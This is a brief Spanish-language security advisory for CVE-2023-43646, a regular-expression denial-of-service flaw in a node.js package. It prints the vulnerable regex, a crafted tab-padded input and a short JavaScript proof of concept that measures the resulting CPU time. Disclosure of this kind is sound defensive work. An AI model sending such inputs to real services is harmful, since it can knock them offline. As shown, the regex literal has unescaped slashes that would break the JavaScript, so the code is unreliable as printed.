
redos
CVE-2023-43646
CVSS : 8.6
Sep 26, 2023
ReDoS en el paquete node.js
Como parte del proyecto rebob
/\sfunction(?:\s|\s/[^(?:*\/)]+/\s*)*([^\(\/]+)/
Esta vulnerabilidad puede explotarse cuando hay un desequilibrio en los paréntesis, lo que resulta en un retroceso excesivo y posteriormente aumenta la carga de la CPU y el tiempo de procesamiento significativamente. Esta vulnerabilidad puede desencadenarse utilizando la siguiente entrada:
'\t'.repeat(54773) + '\t/function/i'
Aquí hay un código PoC simple para demostrar el problema:
const protocolre = /\sfunction(?:\s|\s/[^(?:*\/)]+/\s*)*([^\(\/]+)/;
const startTime = Date.now();
const maliciousInput = '\t'.repeat(54773) + '\t/function/i'
protocolre.test(maliciousInput);
const endTime = Date.now();
console.log("process time: ", endTime - startTime, "ms");